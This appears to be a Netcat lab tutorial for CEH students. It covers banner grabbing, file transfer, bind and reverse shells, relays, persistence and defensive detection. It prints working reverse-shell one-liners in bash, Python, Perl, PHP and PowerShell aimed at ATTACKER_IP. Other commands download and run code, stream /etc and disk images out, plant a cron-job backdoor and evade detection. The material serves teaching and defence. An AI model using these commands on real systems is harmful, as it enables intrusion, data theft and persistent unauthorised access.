Master Netcat's full capability set: banner grabbing, port listening, file transfer, bind and reverse shells, shell stabilisation, encrypted tunnelling, relay chaining, and the detection footprint it leaves — examined from both sides of the wire.
Netcat Explained
Netcat (nc) is a networking utility that reads and writes raw data across network connections using TCP or UDP. It is called the "Swiss Army knife" of networking because of its extraordinary versatility — it can function as a client, a server, a port scanner, a file transfer tool, a chat relay, and the foundation of reverse shell connections. All of this from a single binary that has been included by default on virtually every Unix-like operating system for nearly thirty years.
Originally written by Hobbit in 1995, Netcat was designed to be a general-purpose raw TCP/UDP relay. Its genius is minimalism: rather than building in specific application-layer logic, it simply moves bytes from one place to another and lets the operator decide what those bytes mean. That design philosophy — do one thing well and compose with other tools — is what makes Netcat foundational knowledge for every network professional, offensive and defensive alike.
nc (the original, ships with most Linux distros) is covered here. ncat is Nmap's modern rewrite — it adds SSL/TLS support and IPv6. netcat-openbsd (the version on Kali and Debian by default) removes the -e flag for security reasons but adds -c on some builds. Know which version is present before relying on a specific flag.Why Netcat Is Still Relevant in 2026
With purpose-built tools like Meterpreter, Cobalt Strike, and modern C2 frameworks available, a student might reasonably ask why Netcat still matters. The answer is threefold: ubiquity, simplicity, and composability.
Ubiquity: Netcat ships with Kali Linux, Ubuntu, macOS, and most BSDs. In a constrained environment where you cannot install additional tools — say, a web server you've just compromised via file upload — there is a high probability that nc is already present. No download, no compilation, no dependencies. This makes it uniquely reliable as a first-contact tool.
Simplicity: A Netcat reverse shell is three to five characters of command-line syntax. When something goes wrong — as things do in real engagements — a simple tool has fewer failure modes. Debugging a Netcat connection requires understanding TCP; debugging a Meterpreter session requires understanding Metasploit, TLS, Windows process injection, and half a dozen other layers.
Composability: Netcat integrates natively with Unix shell pipes and redirects. You can chain it with tar, gzip, openssl, bash, and dozens of other utilities to build exactly the capability you need from primitives that are already present. This is a fundamentally different design philosophy from monolithic frameworks — and in constrained or hardened environments, it often wins.
Think of Netcat as a postal tube — an open-ended pipe that will carry whatever you put into one end out of the other. A postal tube by itself is not remarkable. But when you need to move something awkward, fragile, or confidential between two locations that are otherwise hard to connect, the simplicity of the tube is exactly what you want. Specialised courier services have more features — tracking, signatures, insurance — but they also have more overhead, more failure points, and more restrictions on what they'll carry. Netcat is the postal tube: maximally flexible, maximally simple, and present in almost every environment by default.
Client and Server Modes
Netcat operates in two fundamental modes. In client mode it initiates a TCP or UDP connection to a remote host — exactly like a web browser opening a connection to a server. In listen mode (-l) it binds to a local port and waits for an incoming connection — exactly like a server waiting for clients. Once both ends are connected, data flows bidirectionally: anything typed on one end appears on the other, and anything written to stdin on one end is sent across the wire.
nc [options] [host] [port] -l Listen mode — wait for incoming connection (server role) -p Specify local port number -v Verbose — print connection status messages -vv Extra verbose — useful for debugging -n No DNS resolution — use raw IPs, faster and stealthier -z Zero I/O mode — connect and disconnect immediately (port scan) -w Timeout in seconds — give up if no connection within N seconds -u UDP mode instead of TCP -e Execute program on connect (traditional nc, not openbsd variant) -c Same as -e but passes through shell (some builds) -k Keep listening after client disconnects (ncat only) -q Quit after N seconds of stdin EOF --ssl Encrypt with SSL/TLS (ncat only)
TCP vs UDP — Why the Protocol Choice Matters
Netcat defaults to TCP. Understanding why that matters — and when you'd choose UDP instead — requires a brief grounding in what the two protocols actually guarantee.
TCP (Transmission Control Protocol) is a connection-oriented protocol. Before any data is exchanged, it performs a three-way handshake (SYN → SYN-ACK → ACK) to establish a logical connection. It then guarantees that all data arrives, in order, exactly once — retransmitting lost packets automatically. This reliability comes at a cost: connection overhead, per-packet acknowledgement, and connection state that both ends must maintain.
UDP (User Datagram Protocol) is connectionless. It simply sends packets and doesn't verify receipt. No handshake, no retransmission, no ordering guarantee. This makes it faster and stealthier — a UDP packet leaves no connection state in firewall logs the way a TCP connection does.
TCP is like a phone call. Before either party speaks, a connection is established — both sides pick up, confirm the other is there, then talk. If a word is lost due to a bad signal, you ask them to repeat it. Both sides know the call is happening; it's recorded in the phone company's logs. UDP is like dropping a note through someone's letterbox. You write the note, drop it in, and walk away. You don't know if they received it, read it, or if it blew away. But you also left no record that you were there, used no infrastructure other than the letterbox slot itself, and were gone in seconds. Each has its place — TCP when you need reliability, UDP when you need speed, low overhead, or to avoid leaving connection state in logs.
For Netcat's operational uses: TCP is the right choice for shells and file transfers (you need reliability — a dropped byte in a shell command or file corrupts everything). UDP is useful for reconnaissance when you want to avoid TCP connection logs, for testing UDP services, or for specific evasion scenarios where firewall rules block TCP but allow UDP outbound.
Netcat in Action
Connect to a port and read the service banner to identify software and version. This is purely passive from the target service's perspective — you're just completing a connection and reading what it sends. The version information revealed is the starting point for CVE lookup.
nc -v 192.168.1.100 22 Connection to 192.168.1.100 22 port [tcp/ssh] succeeded! SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.6 # Version revealed — check for known CVEs against this exact version # The -n flag would suppress DNS lookup for a quieter connection
Netcat can probe ports with -z (zero I/O mode) to test reachability without sending data. Slower and less capable than Nmap but useful in environments where Nmap isn't available.
nc -zv 192.168.1.100 20-25 nc: connect to 192.168.1.100 port 20 (tcp) failed nc: connect to 192.168.1.100 port 21 (tcp) failed Connection to 192.168.1.100 22 port [tcp/ssh] succeeded! nc: connect to 192.168.1.100 port 23 (tcp) failed # Port 22 is open, others closed. Add -w1 for 1s timeout per port.
Netcat transfers files between machines — useful for staging tools on a compromised host or exfiltrating data. The receiver listens and writes to a file; the sender connects and pipes. No authentication, no encryption — raw bytes across the wire.
# Receiver listens and writes to file: nc -l -p 4444 > received_file.txt # Sender connects and pipes file content: nc 192.168.1.200 4444 < secret.txt # Connection closes automatically when file is fully sent # Verify integrity: md5sum on both ends should match
A reverse shell has the target connect back to the attacker — the critical advantage being that outbound connections from a target typically pass through firewalls that block inbound connections. The attacker's listener waits; the target initiates.
# Attacker — listens for incoming connection: nc -lvp 4444 # Target (if -e is available — traditional nc): nc 192.168.1.10 4444 -e /bin/bash # Alternative without -e (bash TCP redirect — works on most Linux): bash -i >& /dev/tcp/192.168.1.10/4444 0>&1 # >& redirects both stdout and stderr to the TCP connection # 0>&1 redirects stdin from the same connection back # Result: fully interactive shell over raw TCP
What You Need to Know
Bind Shells vs Reverse Shells — A Complete Picture
The distinction between bind shells and reverse shells is one of the most important conceptual foundations in network security and is directly tested on the CEH exam. It determines not just which Netcat command to run, but whether the connection will succeed at all given a target environment's firewall configuration.
Bind Shell — Target Listens, Attacker Connects
In a bind shell, the target machine runs Netcat in listen mode, binding a shell to a specific port. The attacker then connects to that port from their own machine. Once connected, the attacker's keystrokes are sent to the shell on the target, and the output comes back.
initiates connection
Port 9001 open?
listening, waiting
# On the TARGET — bind /bin/bash to port 9001: nc -lvp 9001 -e /bin/bash listening on [any] 9001 ... # On the ATTACKER — connect to the target's listening shell: nc 10.0.0.5 9001 id uid=0(root) gid=0(root) groups=0(root) whoami root # The attacker now has an interactive shell on the target
The critical limitation of bind shells: they require an inbound connection from the attacker to the target. Most corporate and cloud firewall configurations block inbound connections on non-standard ports by default. Unless port 9001 is specifically permitted inbound, the attacker's connection attempt will be silently dropped at the firewall — and the bind shell will never be reached, despite running correctly on the target.
Reverse Shell — Target Connects Out, Attacker Listens
A reverse shell inverts the connection direction. The attacker runs Netcat in listen mode on their own machine. The target machine then initiates an outbound connection back to the attacker, attaching a shell to it. Because most firewalls permit outbound connections (so users can browse the web, send email, and access cloud services), this outbound connection is far more likely to succeed.
listening, waiting
Usually permitted
connects outbound
Imagine a secure office building with a doorman who checks everyone coming in, but waves everyone going out without question. A bind shell is like setting up a coffee stand inside the building and inviting the doorman to come visit — except the doorman won't let you in to set it up, so this plan fails at the first step. A reverse shell is like a person inside the building walking out to meet you on the street. The doorman doesn't stop them because people leaving is normal. You both end up on the street having your meeting — the building's security completely bypassed not by breaking the rules, but by exploiting which direction they apply in.
Platform-Specific Reverse Shell One-Liners
Different operating systems and shell environments require different techniques for establishing reverse shells. When the target doesn't have a Netcat binary with -e support, or when Netcat isn't available at all, these alternatives produce the same result using tools that are universally present:
--- Linux / Bash (most common) --- bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1 # Uses bash's built-in /dev/tcp pseudo-device # No external tools required — bash is always present --- Python (present on most Linux, many Windows systems) --- python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])' --- Perl (legacy systems, web servers) --- perl -e 'use Socket;$i="ATTACKER_IP";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));connect(S,sockaddr_in($p,inet_aton($i)));open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");' --- PHP (web servers, CMS vulnerabilities) --- php -r '$sock=fsockopen("ATTACKER_IP",4444);exec("/bin/sh -i <&3 >&3 2>&3");' --- PowerShell (Windows targets) --- powershell -nop -c "$client = New-Object Net.Sockets.TCPClient('ATTACKER_IP',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}"
Shell Stabilisation — From Raw to Interactive
A raw Netcat reverse shell is functional but uncomfortable to work in. It has no tab completion, no command history, no ability to use vi or nano, and critically — pressing Ctrl+C kills the entire shell connection instead of sending an interrupt to the running process. Any mistake that would normally be recoverable terminates your access entirely.
Shell stabilisation is the process of upgrading a raw Netcat shell into a fully interactive, stable TTY session. This is a routine step in real engagements, and the technique used depends on what is available on the target system.
The most reliable and widely applicable shell stabilisation method. Python's pty module spawns a proper pseudo-terminal that supports interactive programs, signal handling, and terminal control sequences.
# Step 1: On the target — spawn a PTY using Python: python3 -c 'import pty; pty.spawn("/bin/bash")' # Shell now has PTY but still no signal handling and no ctrl+c # Step 2: Background the shell (Ctrl+Z), then on attacker machine: stty raw -echo fg # stty raw: passes keypresses directly to the shell (enables Ctrl+C etc.) # -echo: prevents local terminal from echoing (avoids double characters) # Step 3: Set terminal type and size to match your local terminal: export TERM=xterm stty rows 38 columns 136 # Result: fully interactive shell with history, tab completion, # Ctrl+C sends SIGINT (not kills connection), vi/nano work correctly
socat is a more capable relative of Netcat that natively supports PTY allocation. If socat can be transferred to the target (or is already present), it produces a fully stable shell in a single command without the multi-step stty process.
# Attacker listens with socat PTY handler: socat file:`tty`,raw,echo=0 tcp-listen:4444 # Target connects back with socat PTY shell: socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:ATTACKER_IP:4444 # If socat isn't on the target, transfer the static binary first: # On attacker: python3 -m http.server 8080 # On target: wget http://ATTACKER_IP:8080/socat -O /tmp/socat && chmod +x /tmp/socat
stty raw -echo on your attacker machine, your local terminal is in raw mode. If the shell connection drops unexpectedly, your terminal will appear broken — no echo, cursor in wrong place. Type reset (blind — you won't see it) and press Enter to restore normal terminal behaviour. This is a common source of confusion for students first working with raw shells.Advanced File Transfer Techniques
Netcat's file transfer capability goes beyond moving single files. Combined with Unix pipes, it can compress data in-transit, transfer entire directory trees, clone disk partitions, and exfiltrate data at near wire speed — all without installing any additional software on either end.
Transfer an entire directory tree in a single command by piping tar through Netcat. The compression reduces transfer time and makes the data stream less recognisable to signature-based network inspection.
# Receiver — extract tar stream from Netcat connection: nc -lvp 4444 | tar xzvf - # Sender — pipe compressed directory into Netcat: tar czvf - /etc/ | nc RECEIVER_IP 4444 etc/ etc/passwd etc/shadow <-- shadow file included if sender is root etc/ssh/sshd_config [...] # Entire /etc directory transferred as a compressed stream # No intermediate file created — stream goes directly across the wire
Netcat can transfer raw disk or partition images — used legitimately in forensic acquisition and defensively in incident response. An attacker with root access can use this to exfiltrate an entire drive image for offline analysis.
# Forensic analyst machine — receive and write disk image: nc -lvp 9999 | dd of=disk_image.dd # Target machine — stream raw disk to analyst: dd if=/dev/sda | nc ANALYST_IP 9999 # This sends a complete byte-for-byte disk image across the network. # Legitimate use: forensic preservation. Offensive use: full data exfil. # A 100GB drive at 100Mbps transfer = ~2.2 hours — usually compressed first
Traditional Netcat sends all data in cleartext — visible to any network monitoring tool between the two hosts. Nmap's ncat adds SSL/TLS support, encrypting the transfer and making the traffic appear as generic TLS to network inspection tools.
# Receiver — listen with SSL (ncat generates self-signed cert automatically): ncat --ssl -lvp 4444 > received.tar.gz # Sender — connect with SSL and pipe compressed archive: tar czf - /sensitive/data/ | ncat --ssl RECEIVER_IP 4444 [*] SSL connection from RECEIVER_IP:4444 # Transfer is now encrypted — appears as TLS traffic on the wire # Network monitoring sees a TLS session; cannot inspect the payload # Still detectable by connection metadata (IP, port, timing, volume)
Banner Grabbing and Service Fingerprinting
Banner grabbing is among the most fundamental reconnaissance techniques in the CEH exam. A service banner is the text a server sends to any client that connects to it — typically identifying the software name, version, and sometimes the operating system. This information is the critical link between finding an open port and knowing which exploits to attempt against it.
The CEH distinguishes between active banner grabbing (connecting to the service and reading the response — which is what Netcat does) and passive banner grabbing (intercepting traffic that was already in transit, without generating new connections — which requires a position on the network path). Netcat performs active grabbing only.
Each common service uses a different protocol for its initial connection, which means different approaches are needed to retrieve the banner. Some services send their banner immediately on connection; others require a specific request first.
--- SSH (sends banner immediately on connect) --- nc -v 10.0.0.5 22 SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.6 --- FTP (sends banner immediately on connect) --- nc -v 10.0.0.5 21 220 ProFTPD 1.3.5e Server (Debian) [10.0.0.5] --- SMTP (sends banner, then requires EHLO command) --- nc -v 10.0.0.5 25 220 mail.corp.com ESMTP Postfix (Ubuntu) EHLO test.com 250-mail.corp.com Hello [10.0.0.1] 250-SIZE 10240000 250 STARTTLS --- HTTP (requires a valid HTTP request before responding) --- nc -v 10.0.0.5 80 HEAD / HTTP/1.0 [Enter twice] HTTP/1.1 200 OK Server: Apache/2.4.57 (Debian) X-Powered-By: PHP/8.1.2 # Note: Server and X-Powered-By headers reveal both web server and PHP version # Defenders can suppress these headers in server config to reduce information leakage
Walk into a shop and the moment you open the door, an automated announcement plays: "Welcome to Boots Pharmacy, serving you since 1849, located at 12 High Street." That announcement tells you who they are, what they do, and even their history — before you've said a word or shown any ID. Service banners are exactly this: an automated greeting sent to anyone who connects, whether they're a legitimate customer or someone casing the building. Defenders who suppress banners are the equivalent of a shop that says nothing when you walk in — you still know it's a shop, but you've learned less about its specific vulnerabilities. Attackers who grab banners are simply walking in, listening to the announcement, and noting which alarm company's sticker is on the door before deciding how to proceed.
Banner Manipulation — Defensive Implications
Knowing that attackers routinely grab banners has a direct defensive implication: banners should reveal as little information as possible. Most server software allows the banner to be customised or suppressed entirely:
- Apache HTTP:
ServerTokens Prodin httpd.conf reduces the Server header to just "Apache" with no version.ServerSignature Offremoves it from error pages. - OpenSSH: The SSH version string cannot be fully suppressed (the protocol requires it) but a custom banner message can be set. The version number in the SSH-2.0 line is always disclosed.
- Nginx:
server_tokens off;in nginx.conf removes the version from Server headers and error pages. - SMTP (Postfix): The
smtpd_bannerdirective controls the 220 greeting — it can be changed to anything, hiding the MTA identity entirely.
Banner suppression is a relatively low-effort defensive measure that meaningfully increases the reconnaissance effort an attacker must invest — forcing them to rely on behavioural fingerprinting rather than direct disclosure.
Netcat Relays and Traffic Pivoting
One of Netcat's less commonly taught but highly practical capabilities is its use as a traffic relay — forwarding connections from one host through an intermediate to a final destination. This is an extremely simple form of pivoting that requires nothing more than Netcat, named pipes, and basic shell commands.
Imagine you want to call someone in a country that has blocked international calls from your country. You know someone in a neutral third country who will forward calls for you. You call the intermediary, the intermediary dials the destination, and both ends talk through them — neither of you can communicate directly, but the relay makes it possible. A Netcat relay works identically: traffic arrives on one interface, gets piped to another Netcat connection going out, and the relay host passes everything through without needing to understand the content at all.
Using a named FIFO pipe to create a bidirectional relay through an intermediate host. This technique requires three machines: the attacker, an intermediate pivot host the attacker has access to, and the final target only reachable from the pivot.
# Network layout: Attacker (10.0.0.1) ---> Pivot (10.0.0.5 / 192.168.1.5) ---> Target (192.168.1.20) [not reachable by attacker directly] # On the PIVOT HOST — create named pipe and relay: mkfifo /tmp/relay_pipe nc -lvp 9001 < /tmp/relay_pipe | nc 192.168.1.20 22 > /tmp/relay_pipe # Left side: listens on port 9001, sends output to the pipe # Right side: connects to target port 22, writes output back to the pipe # The pipe creates the loop: data from attacker -> target -> attacker # On the ATTACKER — connect to the pivot's relay port: nc 10.0.0.5 9001 SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.11 <-- response from target SSH # Attacker is now talking to target's port 22 through the pivot # The target only ever sees connections from the pivot (192.168.1.5)
Persistence — Netcat as a Backdoor
A persistent Netcat listener provides ongoing access to a compromised system that survives the initial shell session ending. This is one of the original use cases the tool was built around, and it remains a tested CEH concept under the Maintaining Access phase of system hacking.
A cron job restarts a Netcat listener every minute, ensuring persistent backdoor access even if the connection is dropped or the listener killed.
# Add to crontab (runs every minute, restarts if not running): crontab -e * * * * * /bin/nc -lvp 4445 -e /bin/bash 2>/dev/null & # Alternative: listen indefinitely, restart after each connection (ncat): ncat -lvkp 4445 -e /bin/bash # -k flag (ncat only): keep listening after connection closes # Each time the attacker connects, they get a fresh shell # After they disconnect, ncat waits for the next connection automatically # Windows equivalent (PowerShell + Netcat): while($true){nc -lvp 4445 -e cmd.exe; Start-Sleep 5}
Detection of a persistent Netcat listener is straightforward for a defender who knows to look: netstat -tlnp or ss -tlnp will show any process listening on a port, including the Netcat PID. The challenge is that defenders must be actively looking — a listener on an unmonitored port can persist undetected indefinitely.
What Netcat Reveals About Network Security
Studying Netcat from a security perspective reveals several important truths about network architecture and defensive controls that are directly relevant to the CEH exam and to designing secure infrastructure. Netcat's simplicity makes these truths especially visible — when a three-character command can establish a persistent backdoor on a server, the question of why that works has important answers.
What the Firewall Model Gets Wrong
The traditional firewall model — block inbound, allow outbound — was designed in a world where threats came from outside and users inside needed to access resources on the internet. The reverse shell attack demonstrates the central limitation of this model: it assumes that all malicious communication will be initiated from outside, flowing inward. When an attacker can cause the compromised internal machine to initiate the connection outward, the firewall's inbound rules become irrelevant.
A small company runs a public-facing web server. The firewall has strict inbound rules: only ports 80 and 443 are permitted from the internet. The network team is confident the server is protected — an attacker cannot connect to any other port on the server, and the server is regularly patched.
The server is running a PHP web application with a file upload vulnerability. An attacker uploads a PHP web shell and executes a Bash reverse shell one-liner. The server's bash process opens a connection to the attacker's machine on port 443 — an outbound connection, which the firewall permits without inspection because port 443 is HTTPS and outbound traffic is allowed.
The attacker now has an interactive shell on the web server. They escalate privileges, add a cron job for persistence, and begin mapping the internal network. At no point did any inbound connection from the attacker reach the server — every packet initiated by the attacker was actually a response to a connection the server initiated. The firewall saw only normal outbound web traffic.
The defensive lesson: inbound firewall rules alone are insufficient. Egress filtering (restricting which processes can make outbound connections, to which destinations, on which ports) is a necessary complement. Web servers have no legitimate reason to initiate outbound connections to arbitrary internet addresses — a firewall rule or endpoint control that blocks this would have contained the incident.
Egress Filtering — The Underdeployed Defence
Egress filtering restricts outbound traffic from internal systems to only what is legitimately needed. It is far less commonly deployed than ingress filtering, despite being directly relevant to reverse shell attacks, data exfiltration, malware command-and-control beaconing, and DNS tunnelling. The reasons it is underdeployed are primarily operational: it is harder to define what outbound traffic is legitimate (the answer varies by application and server role) and implementing it aggressively breaks things.
The principle, however, is straightforward: a web server needs to make outbound connections to databases, possibly to cloud APIs and payment processors — not to arbitrary IP addresses on arbitrary ports. A well-defined egress policy for a web server might permit outbound TCP on ports 443 and 3306 to specific CIDR ranges, and block everything else. A Netcat reverse shell connecting to an attacker's IP on port 4444 would be blocked because that destination is not in the permitted list.
All TCP on all ports. All UDP. DNS to any server. ICMP unrestricted. No per-process controls. Result: any process that executes on any server can establish any outbound connection to anywhere.
Specific ports to specific destinations based on server role. Web servers: 443 to approved APIs, 3306 to database subnet only. All else denied. Per-application firewall rules enforced at host level.
Detecting Netcat — Defender's Playbook
Netcat produces several distinct detection signals. The challenge for defenders is that Netcat traffic is, by design, indistinguishable from any other raw TCP or UDP data — the protocol is unstructured. Detection must therefore focus on behaviour: which processes are making connections, to where, and whether that pattern is consistent with the host's role.
bash, sh, python3, perl) making a direct outbound TCP connection — these processes have no legitimate reason to initiate network connections in most server environments. Alert on: bash/sh making outbound TCP to non-local addresses; nc process making any network connection; any process making connections to non-standard ports (not 80, 443, 22, 25, 443, 3306 for their expected role).bash, or nc spawning /bin/bash via -e. Monitor for anomalous parent-child process relationships: apache2 spawning bash, nginx spawning python3, java (Tomcat) spawning sh. These parent-child pairs are almost never legitimate and are high-confidence reverse shell indicators.ss -tlnp or netstat -tlnp audits, or automated port baseline monitoring (alerting on any new listening port not in a known-good list), will detect this. This is particularly effective against bind shells — a persistent listener on port 4445 is straightforwardly anomalous on a web server and should trigger immediate investigation.Evasion Techniques Attackers Use — and Why Defenders Should Know Them
Understanding how operators attempt to evade Netcat detection helps defenders tune their controls appropriately. The most common evasion approaches are:
- Port selection: Using ports 80, 443, or 8080 for reverse shells makes traffic blend in with web traffic at the firewall level. Without SSL inspection, port 443 traffic cannot be distinguished from legitimate HTTPS at the network perimeter.
- Renaming the binary: Copying
ncto/tmp/.sshdor another legitimate-sounding name evades process-name based detection. Defenders should monitor by binary hash and by parent-child relationship, not just process name. - Using built-ins instead of nc: The
bash -i >& /dev/tcp/...technique uses no Netcat binary at all — it uses bash's built-in TCP device. No nc process to detect; the connection originates from the bash process itself. - Encrypting with ncat --ssl: Encrypted connections prevent payload inspection by network monitoring tools and IDS signatures. However, behavioural anomalies (long sessions, unexpected process origins, destination IP reputation) remain detectable.
nc, ncat, bash /dev/tcp, Python, Perl, or PHP. Signature-based detection of the Netcat binary name or known one-liner strings is easily bypassed; behavioural detection is not.Core Concepts Summary
You've covered the theory. Now apply it hands-on in the simulated environment.
Start Lab — Netcat →← Return to all labs